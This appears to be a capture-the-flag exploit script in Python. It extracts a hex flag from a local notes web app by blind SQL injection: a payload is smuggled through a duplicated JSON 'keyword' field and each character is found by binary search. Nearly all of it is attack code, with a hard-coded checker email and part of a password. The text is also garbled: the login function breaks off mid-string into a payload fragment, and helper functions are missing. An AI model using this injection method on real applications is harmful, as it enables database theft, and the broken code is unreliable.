import requests HOST = "http://localhost:12000" def login(): token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ {ord(char)},31337,0) ORDER BY 1 DESC#" final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}' result,token = send_request(final_payload, token) if result == 31337: return True return False def solve(): charset = "0123456789abcdef" flag = "" idx = 10 for i in range(32): lo = 0 hi = len(charset) while lo <= hi: mid = lo + (hi - lo) // 2 char = charset[mid] if attack(idx,char): lo = mid + 1 else: hi = mid - 1 flag += charset[lo] print(f"CHAR {idx} | {charset[lo]}") idx += 1 return "WRECKIT50{"+flag+"}" if __name__=="__main__": global token token = login() flag = solve() print(flag)